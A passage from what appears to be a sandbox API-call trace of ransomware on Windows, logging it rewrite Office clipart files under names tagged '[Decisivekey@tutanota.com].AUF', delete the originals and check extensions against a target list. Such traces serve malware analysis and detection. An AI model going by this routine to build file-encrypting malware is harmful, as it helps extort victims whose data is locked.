(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0218.619] lstrlenW (lpString=".1cd") returned 4 [0218.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0218.619] lstrlenW (lpString=".jpg") returned 4 [0218.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.619] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=5580) returned 1 [0218.619] CloseHandle (hObject=0x1f8) returned 1 [0218.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x20 [0218.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.620] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.620] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.620] GetLastError () returned 0x0 [0218.620] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x15cc, lpOverlapped=0x0) returned 1 [0218.621] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x15d0, lpOverlapped=0x0) returned 1 [0218.622] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.622] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.622] SetEndOfFile (hFile=0x184) returned 1 [0218.622] CloseHandle (hObject=0x184) returned 1 [0218.622] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.622] SetEndOfFile (hFile=0x1f8) returned 1 [0218.623] CloseHandle (hObject=0x1f8) returned 1 [0218.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0218.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0218.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0218.623] lstrlenW (lpString=".doc") returned 4 [0218.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.623] lstrlenW (lpString=".docx") returned 5 [0218.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.623] lstrlenW (lpString=".pdf") returned 4 [0218.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.623] lstrlenW (lpString=".xls") returned 4 [0218.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.624] lstrlenW (lpString=".xlsx") returned 5 [0218.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.624] lstrlenW (lpString=".ppt") returned 4 [0218.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0218.624] lstrlenW (lpString=".zip") returned 4 [0218.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.624] lstrlenW (lpString=".rar") returned 4 [0218.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.624] lstrlenW (lpString=".bz2") returned 4 [0218.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.624] lstrlenW (lpString=".7z") returned 3 [0218.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0218.624] lstrlenW (lpString=".dbf") returned 4 [0218.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0218.624] lstrlenW (lpString=".1cd") returned 4 [0218.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0218.624] lstrlenW (lpString=".jpg") returned 4 [0218.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.624] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=3524) returned 1 [0218.624] CloseHandle (hObject=0x1f8) returned 1 [0218.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x20 [0218.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.625] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.625] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.625] GetLastError () returned 0x0 [0218.625] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xdc4, lpOverlapped=0x0) returned 1 [0218.660] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xdd0, lpOverlapped=0x0) returned 1 [0218.660] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.660] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.661] SetEndOfFile (hFile=0x184) returned 1 [0218.661] CloseHandle (hObject=0x184) returned 1 [0218.661] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.661] SetEndOfFile (hFile=0x1f8) returned 1 [0218.661] CloseHandle (hObject=0x1f8) returned 1 [0218.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0218.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0218.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0218.662] lstrlenW (lpString=".doc") returned 4 [0218.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.662] lstrlenW (lpString=".docx") returned 5 [0218.662] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.662] lstrlenW (lpString=".pdf") returned 4 [0218.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.662] lstrlenW (lpString=".xls") returned 4 [0218.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.662] lstrlenW (lpString=".xlsx") returned 5 [0218.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.662] lstrlenW (lpString=".ppt") returned 4 [0218.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0218.662] lstrlenW (lpString=".zip") returned 4 [0218.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.662] lstrlenW (lpString=".rar") returned 4 [0218.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.662] lstrlenW (lpString=".bz2") returned 4 [0218.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.662] lstrlenW (lpString=".7z") returned 3 [0218.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0218.662] lstrlenW (lpString=".dbf") returned 4 [0218.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0218.662] lstrlenW (lpString=".1cd") returned 4 [0218.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0218.662] lstrlenW (lpString=".jpg") returned 4 [0218.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.663] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=3796) returned 1 [0218.663] CloseHandle (hObject=0x1f8) returned 1 [0218.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x20 [0218.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.663] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.663] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.664] GetLastError () returned 0x0 [0218.664] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xed4, lpOverlapped=0x0) returned 1 [0218.673] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xee0, lpOverlapped=0x0) returned 1 [0218.674] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.674] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.674] SetEndOfFile (hFile=0x184) returned 1 [0218.674] CloseHandle (hObject=0x184) returned 1 [0218.674] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.674] SetEndOfFile (hFile=0x1f8) returned 1 [0218.675] CloseHandle (hObject=0x1f8) returned 1 [0218.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0218.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0218.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0218.676] lstrlenW (lpString=".doc") returned 4 [0218.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.676] lstrlenW (lpString=".docx") returned 5 [0218.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.676] lstrlenW (lpString=".pdf") returned 4 [0218.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.676] lstrlenW (lpString=".xls") returned 4 [0218.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.676] lstrlenW (lpString=".xlsx") returned 5 [0218.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.676] lstrlenW (lpString=".ppt") returned 4 [0218.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0218.676] lstrlenW (lpString=".zip") returned 4 [0218.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.676] lstrlenW (lpString=".rar") returned 4 [0218.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.676] lstrlenW (lpString=".bz2") returned 4 [0218.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.676] lstrlenW (lpString=".7z") returned 3 [0218.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0218.676] lstrlenW (lpString=".dbf") returned 4 [0218.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0218.676] lstrlenW (lpString=".1cd") returned 4 [0218.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0218.676] lstrlenW (lpString=".jpg") returned 4 [0218.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.676] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=2436) returned 1 [0218.676] CloseHandle (hObject=0x1f8) returned 1 [0218.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x20 [0218.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.677] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.677] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.677] GetLastError () returned 0x0 [0218.677] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x984, lpOverlapped=0x0) returned 1 [0218.682] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x990, lpOverlapped=0x0) returned 1 [0218.683] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.683] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.683] SetEndOfFile (hFile=0x184) returned 1 [0218.683] CloseHandle (hObject=0x184) returned 1 [0218.683] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.683] SetEndOfFile (hFile=0x1f8) returned 1 [0218.684] CloseHandle (hObject=0x1f8) returned 1 [0218.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0218.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0218.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0218.684] lstrlenW (lpString=".doc") returned 4 [0218.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.684] lstrlenW (lpString=".docx") returned 5 [0218.684] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.684] lstrlenW (lpString=".pdf") returned 4 [0218.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.684] lstrlenW (lpString=".xls") returned 4 [0218.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.684] lstrlenW (lpString=".xlsx") returned 5 [0218.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.684] lstrlenW (lpString=".ppt") returned 4 [0218.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0218.684] lstrlenW (lpString=".zip") returned 4 [0218.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.684] lstrlenW (lpString=".rar") returned 4 [0218.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.684] lstrlenW (lpString=".bz2") returned 4 [0218.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.684] lstrlenW (lpString=".7z") returned 3 [0218.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0218.684] lstrlenW (lpString=".dbf") returned 4 [0218.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0218.684] lstrlenW (lpString=".1cd") returned 4 [0218.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0218.685] lstrlenW (lpString=".jpg") returned 4 [0218.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.685] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=2732) returned 1 [0218.685] CloseHandle (hObject=0x1f8) returned 1 [0218.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x20 [0218.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.685] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.685] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.686] GetLastError () returned 0x0 [0218.686] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xaac, lpOverlapped=0x0) returned 1 [0218.726] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, 